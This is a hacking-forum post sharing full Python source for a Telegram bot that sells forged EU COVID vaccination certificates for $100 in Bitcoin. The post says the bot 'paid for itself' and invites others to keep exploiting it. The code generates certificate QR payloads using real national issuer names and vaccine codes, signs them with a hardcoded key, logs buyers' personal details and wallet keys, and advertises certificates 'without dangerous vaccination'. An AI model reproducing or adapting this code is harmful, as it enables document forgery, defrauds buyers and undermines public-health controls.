• XSS.stack #1 – первый литературный журнал от юзеров форума

COVID Certs Generator

nightly

root@usss-int:~#
Premium
Регистрация
03.10.2019
Сообщения
373
Реакции
413
Бот себя отбил. Если кто знает как его ещё доить, делайте :)

bot.py
Python:
# pip install aiogram aiofiles cbor2 qrcode[pil] cose base45 base58


from aiogram import Bot, Dispatcher, executor, types
from make_fake import process
from aiofiles import open as aopen
from bitcoin import BitcoinWallet

API_TOKEN = ''
OPERATOR_LINK = ''

bot = Bot(token=API_TOKEN)
dp = Dispatcher(bot)


GOOGLE_PLAY = 'https://play.google.com/store/apps/details?id=ch.admin.bag.covidcertificate.verifier'  # noqa
APP_STORE = 'https://apps.apple.com/ch/app/covid-certificate-check/id1565917510'  # noqa


STARTING = {
    'us': 'Hello 👋🏼\nWe are team who made COVID certificates 🦠 You can get valid COVID vaccination certificate in 5 min without any dangerous vaccination 💉\nPrice per certificate: 100$ in Bitcoin.\nCertificate valid: 8 months. After payment your certificate will be signed. Before payment you will get non-signed certificate what you can check in any application as proof of working service 🤝\nYou just need send: Name Surname and DOB\nExample: John Smith, 1970-12-31, US',  # noqa
    'pl': 'Cześć 👋🏼\nJesteśmy firmą, która robi certyfikaty COVID 🦠 Możesz uzyskać ważny certyfikat szczepienia w 5 minut bez niebezpiecznego strzału 💉\nCena za certyfikat: 100$ w Bitcoin.\nCertyfikat jest ważny: 8 mesiacov. Po dokonaniu płatności Twój certyfikat zostanie podpisany. Przed dokonaniem płatności otrzymasz niepodpisany certyfikat, który możesz sprawdzić w dowolnej aplikacji jako dowód wykonania usługi🤝\nNależy tylko wysłać: Imię i nazwisko oraz datę urodzenia\nPrzykład: Ivan Yakubovich, 1970-12-31',  # noqa
    'cz': 'Ahoj 👋🏼\nJsme společnost, která vyrábí certifikáty COVID 🦠 Platný očkovací průkaz můžete získat za 5 minut bez nebezpečného očkování 💉\nCena za certifikát: 100 dolarů v Bitcoin.\nCertifikát je platný: 8 mesiacov. Po zaplacení bude váš certifikát podepsán. Před zaplacením obdržíte nepodepsaný certifikát, který lze ověřit v jakékoli aplikaci jako doklad o službě 🤝\nJediné, co potřebujete, je zaslat: Jméno a datum narození\nPříklad: Ivan Yakubovich, 1970-12-31.',  # noqa
    'de': 'Hallo 👋🏼\nWij zijn een bedrijf dat COVID-certificaten maakt 🦠 U kunt in 5 minuten een geldig vaccinatiecertificaat krijgen zonder een gevaarlijke prik 💉\nDe prijs per certificaat: $100 in Bitcoin.\nCertificaat is geldig: 8 monate. Na betaling zal uw certificaat worden ondertekend. Vóór betaling ontvangt u een ongetekend certificaat dat u in elke toepassing kunt inzien als bewijs van dienst 🤝\nNu hoeft u alleen maar te sturen: Naam en geboortedatum\nBijvoorbeeld: Ivan Jakoebovitsj, 1970-12-31',  # noqa
    'sk': 'Ahoj 👋🏼\nSme spoločnosť, ktorá vyrába certifikáty COVID 🦠 Platný certifikát o očkovaní môžete získať za 5 minút bez nebezpečnej injekcie 💉\nCena za certifikát: 100 USD v Bitcoin.\nCertifikát je platný: 8 mesiacov. Po zaplatení bude váš certifikát podpísaný. Pred platbou dostanete nepodpísaný certifikát, ktorý si môžete skontrolovať v akejkoľvek aplikácii ako doklad o službe 🤝\nNa odoslanie stačí: Meno a dátum narodenia\nPríklad: Ivan Jakubovič, 1970-12-31',  # noqa
    'ro': 'Bună 👋🏼\nSuntem o companie care face certificate COVID 🦠 Puteți obține un certificat de vaccinare valabil în 5 minute fără o injecție periculoasă 💉\nPrețul pe certificat: 100$ în Bitcoin.\nCertificatul este valabil: 8 luni. După efectuarea plății, certificatul dumneavoastră va fi semnat. Înainte de plată veți primi un certificat nesemnat pe care îl puteți verifica în orice aplicație ca dovadă a serviciului🤝\nNu trebuie doar să trimiteți: Numele și data nașterii\nExemplu: Ivan Yakubovici, 1970-12-31'  # noqa
}


async def save_data(uid: str, username: str, text: str) -> None:
    async with aopen('saved.txt', 'a') as saver:
        await saver.write(f'{uid}|{username}|{text}\n')


@dp.message_handler(commands=['start'])
async def send_welcome(message: types.Message):
    keyboard_markup = types.InlineKeyboardMarkup(row_width=1)

    text_and_data = (
        ('🇨🇿', 'cz'),
        ('🇩🇪', 'de'),
        ('🇸🇰', 'sk'),
        ('🇵🇱', 'pl'),
        ('🇷🇴', 'ro'),
        ('Other 🗺', 'us')
    )

    row_btns = (
        types.InlineKeyboardButton(text, callback_data=data)
        for text, data in text_and_data
    )
    keyboard_markup.add(*row_btns)

    await message.reply("🗺?", reply_markup=keyboard_markup)


@dp.callback_query_handler()
async def en_answer(message: types.Message):
    text = STARTING.get(message.data, 'Unknown error...')
    await bot.send_message(message.message.chat.id, text)
    await message.answer('👋🏼')


@dp.message_handler()
async def echo(message: types.Message):
    data = message.text

    if len(data) > 50:
        await message.answer(':)')
        return

    data = data.split(', ')

    if len(data) != 2:
        await message.answer('John Smith, 1970-12-31')
        await message.answer('"," - !!!')
        return
    else:
        fullname = data[0]
        dob = data[1].replace(' ', '')
        country = 'CZ'
        fullname = fullname.split(' ')

        if len(fullname) != 2:
            await message.answer('Bad format')
            return

        try:
            uid = message.chat.id
            username = message.chat.username
            ln = message.chat.first_name
            fn = message.chat.last_name
            addr, priv = BitcoinWallet().new()
            await save_data(uid, username, f'{ln} {fn}: {data}|{addr} {priv}')
        except Exception:
            pass

        fn, ln = fullname
        keyboard_markup = types.InlineKeyboardMarkup(row_width=2)

        text_and_data = (
            ('App Store', APP_STORE),
            ('Google Play', GOOGLE_PLAY)
        )
        row_btns = (
            types.InlineKeyboardButton(text, data)
            for text, data in text_and_data
        )

        keyboard_markup.row(*row_btns)
        keyboard_markup.add(
            types.InlineKeyboardButton(
                '✅ PAYMENT', 'https://www.moonpay.com/buy'
            )
        )
        keyboard_markup.add(
            types.InlineKeyboardButton(
                '🧑‍💻 Operator', OPERATOR_LINK
            )
        )

        await bot.send_photo(
            message.chat.id, process(fn, ln, dob, country),
            reply_markup=keyboard_markup,
            caption='🇪🇺 EU CERTIFICATE. NOT SIGNED WITHOUT PAYMENT!'
        )
        await bot.send_message(
            message.chat.id, 'Bitcoin address:'
        )
        await bot.send_message(
            message.chat.id, addr
        )


if __name__ == '__main__':
    executor.start_polling(dp, skip_updates=True)

make_fake.py

Python:
from binascii import unhexlify
from datetime import date, timedelta
from io import BytesIO
from random import choice, randint
from string import ascii_uppercase
from time import time
from zlib import compress

import qrcode
from base45 import b45encode
from cbor2 import dumps
from cose.algorithms import EdDSA
from cose.headers import KID, Algorithm
from cose.keys import CoseKey
from cose.keys.curves import Ed25519
from cose.keys.keyops import SignOp, VerifyOp
from cose.keys.keyparam import KpKeyOps, KpKty, OKPKpCurve, OKPKpD, OKPKpX
from cose.keys.keytype import KtyOKP
from cose.messages import Sign1Message


TRANSLIT = {
    'а': 'a', 'б': 'b', 'в': 'v', 'г': 'g', 'ґ': 'g', 'д': 'd',
    'е': 'e', 'ё': 'e', 'є': 'e', 'ж': 'zh', 'з': 'z', 'и': 'i',
    'і': 'i', 'ї': 'ii', 'й': 'i', 'к': 'k', 'л': 'l', 'м': 'm',
    'н': 'n', 'о': 'o', 'п': 'p', 'р': 'r', 'с': 's', 'т': 't',
    'у': 'u', 'ф': 'f', 'х': 'h', 'ц': 'ts', 'ч': 'ch', 'ш': 'sh',
    'щ': 'sch', 'ъ': '', 'ы': 'y', 'ь': '', 'э': 'e', 'ю': 'y', 'я': 'y'
}

ISSUERS = {
    'AT': 'BMSGPK',
    'BE': 'eHealth - Belgium',
    'BG': 'Ministry of Health',
    'CH': 'Bundesamt für Gesundheit (BAG)',
    'CY': 'Ministry of Health',
    'CZ': 'MZCR',
    'DE': 'Robert Koch-Institut',
    'DK': 'The Danish Health Data Authority',
    'ES': 'Servicio Extremeño de Salud',
    'FI': 'Kansanelakelaitos',
    'FR': 'DGS',
    'GR': 'Daire NN',
    'HR': 'AKD d.o.o.',
    'HU': 'OKFO',
    'IE': 'Department of Health',
    'IT': 'Ministero della Salute',
    'LI': 'Liechtensteinische Landesverwaltung',
    'LT': 'Ministry of Health of The Republic of Lithuania',
    'LU': 'Ministry of Health',
    'MC': 'Principality of Monaco',
    'NL': 'Kingdom of the Netherlands',
    'NO': 'Norwegian Institute of Public Health',
    'RO': 'Ministerul Sanatatii',
    'SE': 'Swedish eHealth Agency',
    'SI': 'NIJZ',
    'SK': 'NCZI',
    'SM': 'Istituto per la Sicurezza Sociale',
    'UK': 'NHSX',
    'UA': 'State Enterprise "DIIA"',
    'VA': 'STATO CITTA’ DEL VATICANO',
    'EE': 'Estonia',
    'PT': 'Republica Portuguesa - Portuguese Republic',
    'IS': 'Directorate of Health',
    'LV': 'Nacionālais veselības dienests',
    'MT': 'Government of Malta',
    'PL': 'Ministry of Health'
}


def encode(text: str) -> bytes:
    msg = Sign1Message(
        phdr={Algorithm: EdDSA, KID: b'kid2'},
        payload=text
    )

    cose_key = {
        KpKty: KtyOKP,
        OKPKpCurve: Ed25519,
        KpKeyOps: [SignOp, VerifyOp],
        OKPKpD: unhexlify(b'9d61b19deffd5a60ba844af492ec2cc44449c5697b326919703bac031cae7f60'),  # noqa
        OKPKpX: unhexlify(b'd75a980182b10ab7d54bfed3c964073a0ee172f3daa62325af021a68f707511a')  # noqa
    }

    cose_key = CoseKey.from_dict(cose_key)
    msg.key = cose_key

    return msg.encode()


def gen_unique_code() -> str:
    alph = ascii_uppercase+'1234567890'
    out = ''

    for i in range(24):
        out += choice(alph)

    return out


def choice_product() -> tuple:
    orgs = (
        ('ORG-100030215', 'EU/1/20/1528'),
        ('ORG-100001699', 'EU/1/21/1529'),
        ('ORG-100031184', 'EU/1/20/1507')
    )

    return choice(orgs)


def translit_text(text: str) -> str:
    translited = ''

    for let in text.lower():
        translited += TRANSLIT.get(let, '')

    if not translited:
        return text.upper()

    return translited.upper()


def detect_date(date: str) -> str:
    year = ''
    month = ''
    day = ''

    if len(date) > 11:
        return '1925-01-01'

    for item in ('/', '-', '_', '\\',):
        date = date.replace(item, ' ')

    date = date.split(' ')

    if len(date) != 3:
        return '1925-01-01'

    try:
        if int(date[0]) > 31 and int(date[0]) < 2025:
            year = date[0]
            month = date[1]
            day = date[2]
    except Exception:
        pass

    if not year:
        for item in date:
            try:
                if int(item) > 31 and not year:
                    year = item
                elif int(item) <= 31 and int(item) <= 12 and not month:
                    month = item
                elif int(item) <= 12 and not day:
                    day = item
            except Exception:
                return '1925-01-01'

    return f'{year}-{month}-{day}'


def generate_data(fn: str, ln: str, dob: str, country: str) -> dict:
    if len(country) > 5:
        country = 'NL'

    country = country.upper()
    product, manufacture = choice_product()

    data = {
        -260: {
            1: {
                'dob': detect_date(dob),
                'nam': {
                    'fn': ln.capitalize(),
                    'fnt': translit_text(ln),
                    'gn': fn.capitalize(),
                    'gnt': translit_text(fn)
                },
                'v': [{
                    'ci': f'URN:UVCI:01:{country}:{gen_unique_code()}',
                    'co': country,
                    'dn': 2,
                    'dt': (date.today()-timedelta(days=randint(19, 128))).strftime("%Y-%m-%d"),  # noqa
                    'is': ISSUERS.get(country, 'Self-vaccinated'),
                    'ma': manufacture,
                    'mp': product,
                    'sd': 2,
                    'tg': '840539006',
                    'vp': '1119349007'
                }],
                'ver': '1.3.0'
            }
        },
        1: country,
        4: int(time())+(randint(60, 90)*((60*60)*24)),
        6: int(time())-(randint(1, 5)*((60*60)*24))
    }

    return data


def process(fn: str, ln: str, dob: str, country: str):
    out = generate_data(fn, ln, dob, country)
    out = 'HC1:'+b45encode(compress(encode(dumps(out)))).decode()

    qr = qrcode.make(out)
    img_byte_arr = BytesIO()
    qr.save(img_byte_arr, format='PNG')
    img_byte_arr = img_byte_arr.getvalue()

    return img_byte_arr
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх